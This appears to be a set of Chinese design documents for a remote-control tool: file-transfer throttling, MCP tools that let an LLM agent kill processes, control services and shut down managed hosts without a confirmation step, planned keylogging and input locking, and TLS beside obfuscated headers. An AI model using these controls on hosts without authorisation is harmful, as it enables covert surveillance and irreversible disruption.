库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
```cpp
static int chunk_size = 64 * 1024; // 默认 64KB
static int send_duration = 50; // 默认 50ms
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
```
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
```
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
默认 64KB / 50ms ≈ 1.25 MB/s
```
两个关键约束:
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
---
## 3. 档位表(权威唯一来源,主控端对话框维护)
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|---|---|---|---|---|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
| 6 | 不限速 | 1024 | 0 | 网络上限 |
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
---
## 4. 两个方向的生效链路
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|---|---|---|---|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
### 4.1 上传方向(主控端本地,无协议改动)
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
```cpp
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
```
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
```c
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
```
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
---
## 5. 配置存储
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
---
## 6. 改动文件清单(Windows 端)
| 文件 | 改动 |
|---|---|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
---
## 7. 生效时机与提示文案
- 上传速度:重启主控端生效。
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
---
## 8. 风险与备注
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
---
## 9. 实施顺序
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
+219
View File
@@ -0,0 +1,219 @@
# MCP P7 设计:设备管理控制(kill / window / service / power)
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3/P4/P5/P6 的阶段演进。
> 本文定义 P7:把 YAMA 服务端高频「控制类」操作 MCP 化,补上从「观测」到「管控」的短板,
> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
>
> 安全门结论(已确认):新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具,
> 并要求 `McpReadonly=0`;不再为每个工具单设开关。
## 1. 目标与范围
P7 交付 4 个控制类工具,覆盖服务端日常最常用的写操作:
| 工具 | 动作 | 命令 | 连接 | 确认方式 |
|---|---|---|---|---|
| `kill_process` | 结束进程(多 pid) | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`;test 补发 `COMMAND_WSLIST` |
| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走(无响应) |
仅 Windows 客户端支持(`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`;注意 `list_services`
只排除了 LNX/MAC、漏掉 APK,P7 需把 APK 一并排除)。
## 2. 复用现状
P7 **不改客户端**。客户端已全部实现下列处理(MFC 界面在跑),MCP 侧只需补齐
「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链:
- 系统子连接:`COMMAND_SYSTEM`(进程)/ `COMMAND_WSLIST`(窗口)→ 客户端开 `CSystemManager`
子连接(`client/KernelManager.cpp` 1169/1182,`client/SystemManager.cpp`)。
- `COMMAND_KILLPROCESS`:`CSystemManager::KillProcess`(`TerminateProcess`,无回包)。
- `CMD_WINDOW_CLOSE`:`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
- `CMD_WINDOW_TEST`:`ShowWindow(hwnd, dHow)`(不自动回包)。
- `COMMAND_SERVICECONFIG`:`CServicesManager::ServicesConfig`(`client/ServicesManager.cpp` 213),
bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动,每项后 `Sleep(500)` + `SendServicesList`。
- `TOKEN_MACHINE_MANAGE`:`KernelManager.cpp` 872,`ExitWindowsEx`(注销/关机/重启)。
复用现有 MCP 基建(`server/2015Remote/McpServer.{h,cpp}`):
- `ParseHostIdArg` / `FindMainContext`:入参解析 + 主连接定位。
- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`:单飞行挂起 + 响应回收。
- `OnRegeditReady`:已示范「接管子连接 → 发后续命令」的范式(P3 list_registry 三阶段),P7 直接泛化。
## 3. 子连接生命周期(P7 核心新增)
写工具与只读工具的关键差异:只读工具「子连接回一包即完成」,写工具需要
「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
`followUp`(接管后要发的写命令 payload,二进制)+ `followUpSent`(是否已发写命令)两个字段:
```
followUpSent == false → 等子连接就绪(首包 TOKEN_*LIST 到达 = 就绪)
followUpSent == true → 已发写命令,等确认包
```
> 关键事实(已核实):三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
> 客户端子连接构造即回一包(就绪),写操作后再回一包(确认)。因此必须用 `followUpSent`
> 区分这两次到达,而不能靠 token 区分。这也是它与 `list_registry`(PATH/KEY 两个不同 token)
> 的差别。
流程(以 `kill_process` 为例):
1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行(false = 设备忙),并预填
`followUp`(`COMMAND_KILLPROCESS` 多 pid 包)。
2. 主连接发 `COMMAND_SYSTEM`。
3. 客户端开系统子连接,首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
`OnSystemReady(devId, subCtx)`(类比 `OnRegeditReady`):
- 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
`followUp`,随后补发 `COMMAND_PSLIST` 索取新列表。
4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走(`followUpSent==true`
命中)→ 关闭子连接(`CancelIO`)→ 唤醒工具线程。
5. 工具线程解析新进程列表返回;超时/失败走 `ClearPending`(**含 `subCtx->CancelIO()`**,防孤儿子连接)。
> 注意:`followUp`(写命令)与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
> `Send2Client` 调用**,不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发,
> 拼包会把后续字节当成 pid/hwnd 解析。
接管函数(进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上,
客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`):
| 工具 | 开子连接命令 | 就绪包(首包) | 接管后写命令 | 确认包(第二包) |
|---|---|---|---|---|
| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`(close 自动回);`CMD_WINDOW_TEST`(test 补 `COMMAND_WSLIST`) | `TOKEN_WSLIST` |
| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`(客户端写后自动 `SendServicesList`) | `TOKEN_SERVERLIST` |
`MessageHandle` 现有分派点(均已核实):
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支:`2015RemoteDlg.cpp:6540`(当前 `TakeMainResponse`+`CancelIO`)
- `TOKEN_SERVERLIST` 分支:`2015RemoteDlg.cpp:6585`(同上)
接入方式:在这两个分支的 `IsPending(devId)` 命中后,**先按 `pending.tool` 判断是否为
写工具(kill/operate/control_service)**;是则调 `OnSystemReady`/`OnServiceReady`(返回 true
= 已接管、不 `CancelIO`),否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
分支调用 `OnRegeditReady`(`2015RemoteDlg.cpp:6561`)的写法一致,避免与人工界面抢子连接。
## 4. 工具 schema
### 4.1 `kill_process`
```jsonc
// inputSchema
{ "id": "string(必填,主机 id)",
"pids": ["integer 数组(必填,至少 1 个进程 PID)"] }
// outputSchema
{ "remaining": ["integer 数组(杀完后仍在运行的 PID)"] }
```
- payload:`[COMMAND_KILLPROCESS:1][pid:4]*N`(DWORD 小端,与 `SystemDlg::OnPlistKill` 一致)。
- 成功判定:返回 `remaining`(发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功)。
- 描述需写明:`TerminateProcess` 强制结束、不保存进程状态,可能造成数据丢失。
### 4.2 `operate_window`
```jsonc
// inputSchema
{ "id": "string(必填)",
"hwnd": "integer(必填,窗口句柄,取 list_windows 返回的 hwnd)",
"action": "string(必填)close|show|hide|minimize|maximize|restore" }
// outputSchema
{ "ok": "boolean" }
```
- payload(与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致,
**固定 20 字节零填充 `BYTE lpMsgBuf[20]`,hwnd 一律按 `DWORD`(4 字节)小端写入 offset 1**):
- `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`(客户端 `PostMessage WM_CLOSE`)。
- 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`,dHow 映射(MFC 实测值):
`hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
`maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
- 缓冲器必须补零到 20 字节:客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`,在 x64 是 8 字节,
而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节,读出的 HWND 才是正确值;
若 MCP 发最小 5 字节包,会越界读。`test` 分支(`TestWindow`)读 `[hwnd:4][dHow:4]` 共 9 字节,
20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此,MCP 照搬。
### 4.3 `control_service`
```jsonc
// inputSchema
{ "id": "string(必填)",
"service_name": "string(必填,服务名,取 list_services 返回的 service_name)",
"action": "string(必填)start|stop|set_auto|set_manual" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`,
bCmd:`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
- 边界:客户端 `ServicesManager` 仅实现这 4 项;**无** pause / continue / delete
(它们属于 `MachineDlg` 机器管理的另一条链路,留待 P8 评估)。
### 4.4 `power_action`
```jsonc
// inputSchema
{ "id": "string(必填)",
"action": "string(必填)logout|shutdown|reboot" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`TOKEN_MACHINE_MANAGE [token:1][type:1]`,type:`logout=0` / `shutdown=1` / `reboot=2`
(`enum MachineCommand` 顺序)。MFC 发的是 32 字节缓冲(`2015RemoteDlg::MachineManage`),
但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`,故 2 字节即可。
- 走**主连接**、发完即走、无响应;主机将立即离线。描述需明确「不可撤销、主机下线」。
- 需客户端管理员权限(`EnableShutdownPrivilege`),无权限时客户端静默忽略(同 MFC 现状)。
- **仅 Windows 客户端**:Linux 侧文档写的是 `COMMAND_SESSION`(`linux/README.md`),但代码中
未发现对应 handler,即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
`-32005`,不尝试发送。
## 5. 安全门(单一 `McpManage` 开关)
- 新增配置键 `settings/McpManage`(默认 `0`,关闭)。
- 生效条件:`McpManage=1` 且 `McpReadonly=0`;二者任一不满足即隐藏 4 个工具。
- 双保险:`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验(与 `exec_command` 的
`IsReadonly()` 双保险一致)。
- `McpSettingsDlg` 增加「管理操作(进程/窗口/服务/电源)」复选框,写入 `THIS_CFG`。
- 审计:每次写操作写入服务端审计日志(`get_audit_log` 可见),记录 tool + host id + 参数摘要 + 结果。
## 6. 单飞行与并发约束
- 沿用现有约束:同 host 同一时刻只允许一个 MCP 挂起请求(`BeginPending` 保证)。
- 写工具与只读工具共用 `m_Pending`,天然互斥;与 MFC 对话框并存(各用独立子连接,互不干扰)。
- 超时沿用 `kMcpToolTimeoutMs = 20000`;`power_action` 因无响应、发完即返回成功。
## 7. 边界与风险
1. **杀进程/关机/重启不可逆**:描述与审计都需显著标注;不提供「确认对话框」,
确认责任在调用方(MCP 客户端/LLM agent)。
2. **kill 无客户端回执**:成功与否靠「新进程列表不含目标 pid」推断,`TerminateProcess`
失败(权限不足等)时进程仍在 `remaining`,由调用方判断。
3. **服务操作仅 4 项**:pause/continue/delete 缺省,如需需评估 `MachineDlg` 链路。
4. **窗口句柄时效**:hwnd 可能已失效(窗口已关闭),客户端 `PostMessage/ShowWindow`
对失效句柄静默无操作,`operate_window` 的 `ok=true` 只表示「已下发」。
5. **子连接竞态**:写工具接管子连接后若客户端断线,`OfflineProc` 调 `OnManageSubClosed`
清理挂起(置 done 并清 `subCtx`、唤醒等待线程;**不擦表**,由 `WaitPendingWrite` 自行擦除,
防迭代器失效)。清 `subCtx` 是关键——context 对象被连接池回收复用,若超时路径仍对旧指针
`CancelIO` 会误伤新连接(与 `OnTerminalClosed`/`OnScreenControlClosed` 同理)。
## 8. P8 / P9 路线图(后续)
- **P8 文件与信息面**:`delete_file/delete_directory`、`create_folder`、`rename_file`、
`open_file`;`list_network_connections`、`list_software`、`get/set_hosts`、
`list_scheduled_tasks`(+增删启停)、`get_keylog`。
- **P9 进阶与 NL 增强**:`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
`open_url`/`send_message`;**批量操作**(`ids[]`/`group` 维度);离线主机枚举
`list_all_hosts`。
## 9. 实现与验证记录(2026-10-01)
已实现并端到端验证(真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware,id=3441387693643366974):
- `kill_process` → `remaining:[]`;`operate_window`(restore) → `ok:true`;
`control_service`(set_manual AJRouter) → `ok:true`;`power_action`(reboot) → `ok:true`(发完即走)。
三个写工具的确认包(第二个 `TOKEN_*LIST`)均正常到达,列表均 >1460 字节触发 HTTP 分片。
- 落地:`McpManage` 开关 + `McpReadonly=0` 双保险;`McpSettingsDlg` 增「管理操作」复选框;
主工具栏增 `MCP` 入口按钮(`ID_MCP_SETTINGS`);en/de/zh-TW 三语文案同步。
- 前置解析 bug(验证中暴露,已单独提交 `a72e6eb`):`HeaderParser::Parse` 的
`m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`,导致写工具的确认包被
`PARSER_FAILED` 丢弃(「首包能到、后续包到不了」);修复为 `else if (m_bShouldUnmask != TRUE)`。
+313
View File
@@ -0,0 +1,313 @@
# 传输层单向 TLS 加密设计(按需加密)
> 版本:v0.5 · 状态:**Go 服务端 + Windows 客户端已实现并验证;信任锚改存注册表;MFC 主控端(阶段 3)未施工** · 日期:2026-10-14
> 目标:让 YAMA 设备端口(TCP 6543)在继续兼容老客户端(明文/XOR)的同时,允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
> 本期范围:**Go 服务端(`server/go`)+ Windows 客户端**;MFC 服务端(`server/2015Remote`)延后。
>
> 需求原文(三点,逐一对应下文):
> 1. 新客户端**默认不加密**,行为与老客户端完全一致;
> 2. 某些高要求场景,管理员「颁发一个证书给该客户端 + 重启」,该客户端即改走加密;
> 3. 服务端同一端口(6543)同时兼容明文与 TLS 两种客户端,老客户端零改动。
## 1. 目标与范围
### 目标
- 同一 `6543` 端口上,服务端自动区分「明文客户端」与「TLS 客户端」,按连接路由。
- 加密是**按部署、按客户端开关**的:证书(注册表值或文件)在 → TLS;证书不在 → 明文(与老客户端一致)。
- 老客户端(无证书概念)行为不变、零改动。
- 满足 Measure 1 的「传输层真加密 + 抗重放」目标(对 TLS 客户端而言)。
### 非目标(Non-goals,本次不做)
- 不做 **mTLS / 客户端证书**:单向 TLS 不验证客户端证书,客户端身份仍由隧道内的现有登录(`PwdHmac` V1 / `ECDSA` V2)承担。
- 不做传输层 PSK(`YAMA_TRANSPORT_KEY`)方案——本设计改用证书,更贴合「颁发证书」的运维模型。
- 不改应用层协议(flag 帧格式 / XOR / zstd),不做「TLS 内去掉 XOR」的二次精简(后续可选)。
- 不做加密开关的运行时热切换(证书只在客户端启动时读取一次,改配置需重启——这正是需求)。
- 不做 Linux / macOS / Android 客户端的 TLS 接入(本文以 Windows MFC 客户端为主,其余平台同样式跟进)。
- 不做 **MFC 服务端(`server/2015Remote`)的 TLS 接入**——本期只做 Go 服务端(`server/go`),MFC 主控端延后到阶段 3。
## 2. 现状与复用
### 2.1 当前传输(已核实)
服务端 TCP 传输链路:`server/go/server/server.go` `acceptLoop()`(329–360 行)`Accept` 后 `go handleConnection(conn)`;`handleConnection()`(363–425 行)读入 `ctx.InBuffer`,交给 `protocol.Parser`。
`server/go/protocol/parser.go` `Parse()`(51–85 行):
1. 可选剥离 HTTP-mask(`POST /...\r\n\r\n` 外壳,`common/mask.h` 的 `HttpMask`);
2. `parseHeader()`(88–140 行)调用 `CheckHead()` 识别协议;
3. `parsePacket()`(143–225 行)解头 + XOR 解码 + zstd 解压。
`server/go/protocol/header.go` `CheckHead()`(149–165 行)对前 12 字节依次尝试 8 种头混淆 × 4 种魔数,命中即得 `FlagType`:
| FlagType | 魔数 | 首字节 |
|---|---|---|
| FlagHell(4) | `HELL` | `H`=0x48 |
| FlagShine(1) | `Shine` | `S`=0x53 |
| FlagFuck(2) | `<<FUCK>>` | `<`=0x3C |
| FlagHello(3) | `Hello?` | `H`=0x48 |
| HTTP-mask | `POST ` | `P`=0x50 |
> 注意:上表「首字节」是**解密后**的魔数首字节。实际线上,客户端(`common/header.h` 的 `GetHead`)会用 `time() % 12` 随机选一个混淆方法对前 4 字节魔数加密(仅在 `superAdmin` 命中的 `HellEncoder` 路径;默认 `ProtocolEncoder` 直接发明文 `Shine`)。因此**原始首字节可能是任意值**,包括 `0x16`。这正是 TLS 检测不能只看前两字节、必须再加一字节判据的原因(见 §3.1)。
当前「加密」为 `codec.go` 的 `xorDecoder16`(XOR + 两轮伪随机交换,密钥是明文带内 1~2 字节)+ `header.go` 的 V0~V6 头混淆——**等于明文**。这正是 Measure 1 要解决的。
### 2.2 客户端登录(已核实,隧道内照常)
- V1:`client/KernelManager.cpp:1857` 从配置读 `settings/PwdHmac`(预计算摘要),服务端 `auth.go:240` `VerifyMessage(YAMA_PWD, passcode, hmacSig)` 校验。`YAMA_PWD` 只存在服务端,客户端只有摘要,不持有 `YAMA_PWD`。
- V2:`auth.go:188` ECDSA P-256 验签(`v2:BASE64`),客户端持私钥、服务端持公钥。
### 2.3 关键结论(本设计的基础)
**TLS 作为「透明传输包装」,应用层协议一行不改。** 即:
```
明文客户端: [TCP] = flag 帧 + XOR payload + zstd
TLS 客户端: [TCP][TLS] = { flag 帧 + XOR payload + zstd }
```
服务端 `parser.go`/`codec.go`/`header.go`/handler 全部不动;TLS 客户端解密后的字节流就是同一套协议。唯一新增的是**连接建立时的 TLS 检测与解包**。XOR 套在 TLS 里冗余但无害,保留它换来「应用协议零改动、老新客户端共用同一套代码」。
## 3. 总体方案
### 3.1 同端口共存 + 首字节检测
服务端在 `handleConnection` 开头(`Accept` 之后)偷看连接开头 6 字节:
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + 握手类型 ClientHello)→ 交给 `tls.Server` 解包;
- 其它 → 走现有明文路径。
**为何要看第 6 字节**:客户端会随机混淆魔数头(见 §2.1),所以明文连接的前两字节**可能**恰好是 `0x16 0x03`。但混淆只作用于前 4 字节魔数,字节 5 对混淆后的 `HELL` 头恒为 `0x00`,对明文 `Shine`/`POST` 变体是 ASCII 字符——**永远不会是 `0x01`**;而任何 TLS 握手记录里,字节 5 就是握手消息类型,ClientHello 恒为 `0x01`。于是 `0x16 0x03` 加 `b[5]==0x01` 三重判据让误判概率趋近于零。
```
accept
├─ 现有 MaxConnections / per-IP 限流(保持,先于 TLS 握手,廉价拒绝 + 抗握手 DoS)
├─ peek 3 字节
│ ├─ 0x16 0x03 → tls.Server(conn, tlsCfg)(惰性握手,首次 Read 触发)
│ └─ 其它 → 明文
└─ handleConnection(conn) // 不区分明文/TLS,tls.Conn 实现 net.Conn
```
### 3.2 客户端行为
客户端启动时检查「证书文件是否存在」:
- 不在 → 明文(与老客户端完全一致,默认即此);
- 在 → 所有出站 TCP 连接(主连接 + screen/terminal/file 子连接)统一走 TLS。
### 3.3 架构图
```
┌──────────── 被控端(客户端,无证书) ────────────┐
│ TCP ── flag+XOR+zstd ─────────────────────────► │ 明文
└───────────────────────────────────────────────────┘
┌──────────── 被控端(客户端,有证书) ────────────┐
│ TCP ── TLS ── { flag+XOR+zstd } ──────────────► │ 加密
└───────────────────────────────────────────────────┘
│
▼
┌──────────────────────┐
│ 服务端 6543 │
│ peek 首字节路由 │
│ ├─ 0x16 0x03 → TLS │
│ └─ 其它 → 明文 │
│ ── 同一套 parser/handler │
└──────────────────────┘
```
## 4. 证书模型(单向 TLS)
- 服务端持有一张**服务端证书 + 私钥**(可自签名,或由自建 CA 签发)。
- 客户端持有**信任锚证书**(CA 证书,或自签名服务端证书本身)用于在握手时校验服务端。
- 「颁发证书给某客户端」= 把信任锚证书投递到该客户端(**注册表值**,见 §6.1/§9.3)。证书是**共享的信任锚**(不是每个客户端一张唯一证书),「颁发」的本质是**决定给哪个客户端开加密**。
- 单向 TLS **不认证客户端身份**;客户端身份仍由隧道内的登录(V1 `PwdHmac` / V2 ECDSA)承担。
